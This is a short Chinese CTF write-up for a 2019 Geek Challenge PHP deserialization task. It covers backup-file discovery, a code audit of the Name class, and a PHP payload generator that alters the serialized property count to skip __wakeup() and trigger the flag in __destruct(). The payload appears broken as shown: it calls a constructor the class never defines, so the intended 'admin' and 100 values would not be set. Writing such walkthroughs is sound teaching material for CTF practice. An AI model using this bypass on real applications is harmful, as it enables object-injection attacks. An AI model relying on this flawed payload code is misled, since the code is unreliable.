2019極客大挑戰PHP反序列化
阿新 • • 發佈:2020-10-14
1. 進入題目看到一隻貓和提示備份的習慣。猜測可能有原始碼洩露,通過目錄掃描工具可以獲取到備份檔案:www.zip包含其原始碼。
2. 對其原始碼進行審計
a. index.php 包含檔案index.php;通過get方式獲取一個引數select,並對引數select進行反序列化
b. class.php 包含flag.php。主體部分為一個Name類,
i. 有兩個私有變數username,password
ii. 構造方法__construct($usernam,$password)
iii. 魔幻函式__wakeup(),在進行反序列化時呼叫,給變數username賦值為guest
iv. 銷燬函式__destruct(),結束物件是執行
1) 第一個if判斷是password是否為100。如果不為100就結束方法。
2) 第二個if判斷username是否為'admin',且為字串。如果滿足條件就輸出flag
3. 解題思路:由index.php中的反序列化可以想到的是通過反序列化觸發Name類中的魔幻函式,繞過wakeup()函式,最後執行destruct時,username='admin',password=100滿足if條件輸出flag
4. payload
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
//username==='admin' password = 100
}
//通過構造方法username='admin' password = 100
$a = new Name('admin',100);
//序列化操作,並對字串進行URL編碼,因為Name類的變數為私有變數,避免列印時漏掉空格
$b = urlencode(serialize($a));
//修改屬性的的個數,繞過__wakeup()函式
$b = str_replace('%3A2%3A','%3A3%3A',$b);
echo $b ;
?>
flag